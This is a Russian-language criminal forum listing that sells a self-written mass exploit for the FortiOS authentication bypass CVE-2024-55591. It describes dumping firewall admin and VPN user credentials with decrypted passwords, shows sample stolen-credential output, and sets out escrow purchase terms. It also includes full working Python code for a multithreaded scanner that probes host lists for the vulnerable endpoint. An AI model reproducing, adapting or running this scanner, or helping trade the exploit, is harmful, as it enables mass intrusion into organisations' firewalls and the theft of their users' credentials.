Пожалуйста, обратите внимание, что пользователь заблокирован
- Цена
- 3000
Всем привет.
Продам самописный "боевой" многопоточный эксплойт CVE-2024-55591.
Уязвимые версии: 7.0.0 - 7.0.16
На вход подаёте список ip:port, он их проверяет на уязвимость, и если True запускает эксплойт.
Так же есть отдельный режим чека, чтобы отфильтровать большой список перед запуском на эксплойт.
Может дампить/добавлять любую дату с/на фортиОС.
На данный момент формат вывода такой (версия прошивки, впн порт, юзеры с дехеш паролями):
Первый контакт в ЛС, либо апрув в токсе по ЛС
Продано: 0/5
Доступен выкуп всех позиций одним баером
Только через гарант XSS.
Открываете сделку, заводите средства, даёте мне тестовый список хостов, я их прогоняю, показываю результат. Если всё окей, передаю сплойт и завершаем сделку
На проверку не более 2 часов, чтобы исключить "белых ходоков по своим делам".
Чекер хостов на вульну, чтобы вы могли предварительно проверить свой список (файл hosts.txt, формат ip:port)
Продам самописный "боевой" многопоточный эксплойт CVE-2024-55591.
Уязвимые версии: 7.0.0 - 7.0.16
На вход подаёте список ip:port, он их проверяет на уязвимость, и если True запускает эксплойт.
Так же есть отдельный режим чека, чтобы отфильтровать большой список перед запуском на эксплойт.
Может дампить/добавлять любую дату с/на фортиОС.
На данный момент формат вывода такой (версия прошивки, впн порт, юзеры с дехеш паролями):
Код:
=========================================================================
1.1.1.1:4443
version: FGT40F-7.4.3-FW-build2573-240201
admin: my_admin:password
sslvpn port: 10443
local:
user1;password1
user2;password2
user3;password3
ldap:
user1;password1;username;DC=EVILCORP,DC=COM;10.100.3.21
user2;password2;username;DC=EVILCORP,DC=COM;10.100.3.22
user3;password3;username;DC=EVILCORP,DC=COM;10.100.3.23
radius:
user1;password1;10.100.3.21
user2;password2;10.100.3.22
user3;password3;10.100.3.23
tacacs:
user1;password1;10.100.3.21
user2;password2;10.100.3.22
user3;password3;10.100.3.23
===============================================================
Первый контакт в ЛС, либо апрув в токсе по ЛС
Продано: 0/5
Доступен выкуп всех позиций одним баером
Только через гарант XSS.
Открываете сделку, заводите средства, даёте мне тестовый список хостов, я их прогоняю, показываю результат. Если всё окей, передаю сплойт и завершаем сделку
На проверку не более 2 часов, чтобы исключить "
Чекер хостов на вульну, чтобы вы могли предварительно проверить свой список (файл hosts.txt, формат ip:port)
Python:
import argparse
import sys
import time
from pathlib import Path
from queue import Queue
from threading import RLock, Thread
try:
import requests
from urllib3 import disable_warnings
except ImportError as err:
print(f'[-] {err}:\n\tcmd> pip install requests')
sys.exit(input('Press Enter to exit...'))
LOCK = RLock()
Q_HOSTS = Queue()
PATH = Path(__file__).parent
RES_DIR = PATH.joinpath('RESULTS')
Path.mkdir(RES_DIR, exist_ok=True)
disable_warnings()
EXIT_FLAG = False
class FortiChecker:
def __init__(self, host, proxy=None):
self.host = host if '://' in host \
else 'https://' + host
def is_available(self):
try:
requests.get(self.host, verify=False)
return True
except:
return False
def check_bypass(self):
uri = '/service-worker.js?local_access_token=a9sdjhas8d'
resp = requests.get(
self.host + uri,
verify=False
)
if resp.status_code == 200 \
and 'api/v2/static' in resp.text:
return 'vulnerable'
return 'not_vulnerable'
def worker():
while not Q_HOSTS.empty():
host = Q_HOSTS.get()
client = FortiChecker(host)
if not client.is_available():
msg(f'[-] {host} - unavailable')
save_results('unavailable.txt', host)
continue
try:
status = client.check_bypass()
except Exception as err:
msg(f'[-] {host} - login error - {err}')
save_results('errors_log.txt', f'{host} - {err}')
continue
pref = '[+]' if status == 'vulnerable' else '[-]'
msg(f'{pref} {host} - {status}')
save_results(f'{status}.txt', f'{host}')
global EXIT_FLAG
EXIT_FLAG = True
def msg(string):
with LOCK:
print(string)
def save_results(filename, data):
with open(f'{RES_DIR.joinpath(filename)}', 'a') as f:
f.write(data + '\n')
def read_file(filename):
with open(filename, 'r') as f:
return {
line.rstrip() for line in f
if line.rstrip()
}
def get_args():
parser = argparse.ArgumentParser(
description='Fortinet VPN SSL checker by barnaul'
)
parser.add_argument(
'-f',
dest='hosts_file',
default='hosts.txt',
help='Host-Creds file. Default: %(default)s')
parser.add_argument(
'-t',
dest='threads',
type=int,
default=1,
help='Threads number. Default: %(default)s')
return parser.parse_args()
def main():
args = get_args()
hosts_file = PATH / args.hosts_file
if not hosts_file.exists():
print(f'[-] File not found: {hosts_file}')
sys.exit(input('Press Enter to exit...'))
for host in read_file(hosts_file):
if host.count(':') != 1:
print(f'[-] Wrong host format: {host}')
continue
Q_HOSTS.put(host)
threads = args.threads
if threads > Q_HOSTS.qsize():
threads = Q_HOSTS.qsize()
for _ in range(threads):
t = Thread(
target=worker,
daemon=True,
).start()
try:
while not EXIT_FLAG:
time.sleep(threads)
print('[~] All tasks done')
except KeyboardInterrupt:
sys.exit('[~] Exit...')
if __name__ == '__main__':
main()
Последнее редактирование модератором: